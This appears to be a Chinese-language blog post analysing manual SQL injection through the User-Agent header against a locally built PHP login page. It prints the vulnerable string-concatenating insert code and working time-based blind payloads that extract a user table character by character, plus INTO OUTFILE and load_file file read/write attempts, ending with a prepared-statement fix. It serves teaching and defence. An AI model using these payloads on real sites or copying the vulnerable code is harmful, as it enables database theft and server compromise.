zoukankan      html  css  js  c++  java
  • 『SQL注入』 User-Agent 手工注入的探测与利用分析

    原理很简单:后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行。 

    Bug 代码:

    本地顺手打了一个环境,Bug 代码部分:

    // 保存到访者的IP信息

    $db=DBConnect();
    $tbLog=$db->tbPrefix.'log'; $executeArr=array('ip'=>($_SERVER["HTTP_VIA"])?$_SERVER["HTTP_X_FORWARDED_FOR"]:$_SERVER["REMOTE_ADDR"],'ua'=>$_SERVER['HTTP_USER_AGENT'],'visit_time'=>date('Y-m-d H:i:s'));
    $db->AutoExecute($tbLog,$executeArr);
    $smarty=InitSmarty();
    $smarty->assign('do',$do);
    $smarty->assign('show',$show);
    $smarty->assign('url',$url);
    $smarty->display('login.html');
    

     其中 AutoExecute() 方法 代码如下:

    public function AutoExecute($table,$array=array(),$type='INSERT',$where=''){
    	if(!empty($array) && !empty($table)){
    		switch(strtoupper($type)){
    			case 'INSERT':
    				$sql="INSERT INTO {$table}(".implode(',',array_keys($array)).") VALUES('".implode("','",array_values($array))."')";
    				echo $sql;
    				break;
    			default:break;
    		}
    		return $this->Execute($sql);
    	}
    	else{
    		return false;
    	}
    }

    可以看出 ip,ua 这个变量未经过任何过滤 以 SQL 拼接的方式插入到数据库中。

     

    SQLMap 初探:

    因为是 HTTP Header 注入,所以决定简单粗暴的使用 -r 参数测试有无注入。

    用burp 代理截包保存成 req.txt ,内容如下:

    GET /index.php?do=login HTTP/1.1
    
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: csrftoken=zfPpDQbDhjPJ7Xbh8z3aMqAxhVv8vvCs
    Connection: keep-alive

    使用 sqlmap.py -r req.txt --level 3 没跑出来,姿势不对??? 决定用自己的双手实现自己的梦想啦~~

     

    手动注入测试:

    使用burp 的repeater 模块,修改User-Agent:

    GET /index.php?do=login HTTP/1.1
    
    Host: localhost
    User-Agent: Anka9080',(select(sleep(5))))#
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: csrftoken=zfPpDQbDhjPJ7Xbh8z3aMqAxhVv8vvCs
    Connection: keep-alive

    结果真会发现等待了5s才收到网站的返回信息,延时注入测试成功~~

    该请求发送后,实际执行的SQL语句 如下:

    1 INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select(sleep(5))))#','2016-05-26 20:15:41')

    进一步分析这条SQL语句:

    Select(sleep(5))  返回的是 0 ,在外层加上一对括号,相当于单引号(‘’),还有一个右括号) 用来闭合 VALUES 的 左括号,类似于字符型插入,后面的 # 是注释符,会把原本的时间等数据给注释掉,保证了这是一条可执行的SQL语句。

     

    猜数据,读文件:

    预先在数据库中创建了表 user(user,pass) 存在一个条目 admin,admin666

    通过sleep判断基于时间的延时注射,下面手工构造用户名并根据相应时间来判断是否存在这个用户(在 UA 位置执行整条SQL 来判断):

    把 UA 的值改成如下:

    User-Agent: Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#

    执行的SQL是

    INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#','2016-05-26 21:04:49')

    若user 表 中存在以a 开头的数据,则会延迟5秒返回页面,

    当然一般要先对用户表user 做 fuzzing, 这个把 where 条件去掉就可以了。

    同理 使用 substring(user,1,n) 来判断第n个字符是什么,继而得到了完整的字段的值。

    已经能读出数据了,尝试下读写文件,理论上有权限就可以。 

    把user 表的内容读出来并写入到服务器文件中:

    INSERT INTO log(ip,ua,dt) VALUES('127.0.0.1','Anka9080',(select * from user into outfile '盘/绝对路径/1.txt'))#','2016-05-26 21:30:04'

    不知为何没有执行成功 在 SQL 查询器里单独执行

    select * from user into outfile '盘/绝对路径/1.txt'

    是可以的...

     

    如果注入点是有输出的位置,则

    利用Id = 1 union select 1, loadfile(‘盘/绝对路径/1.txt’) from message 来读取文件内容到页面显示

    此外,其他 HTTP Header 的注入与 User-Agent 的注入是一样道理的。

    至于防御SQL注入,预编译吧,简单可靠,不需要做任何的过滤,做到了“数据和代码的分离

    <?php
    
        $link = new mysqli('localhost', 'analytics_user', 'aSecurePassword', 'analytics_db');
    
        $stmt = $link->prepare("INSERT INTO visits (ua, dt) VALUES (?, ?)");
        $stmt->bind_param("ss", $_SERVER["HTTP_USER_AGENT"], date("Y-m-d h:i:s"));
        $stmt->execute();
    
    ?>
    参考文章:http://www.freebuf.com/articles/web/105124.html
  • 相关阅读:
    Java数据结构概述·14
    Java之自定义异常·13
    idea spirng项目jsp页面乱码
    HashMap和LinkedHashMap的区别
    jar包导入仓库中
    后台接口接受前端参数的时候使用包装类和基本类型接受
    转 为什么程序员怕改需求?
    thymeleaf常用标签
    linux查看端口占用情况
    查询linux硬件配置
  • 原文地址:https://www.cnblogs.com/anka9080/p/user_agent_sql_injection.html
Copyright © 2011-2022 走看看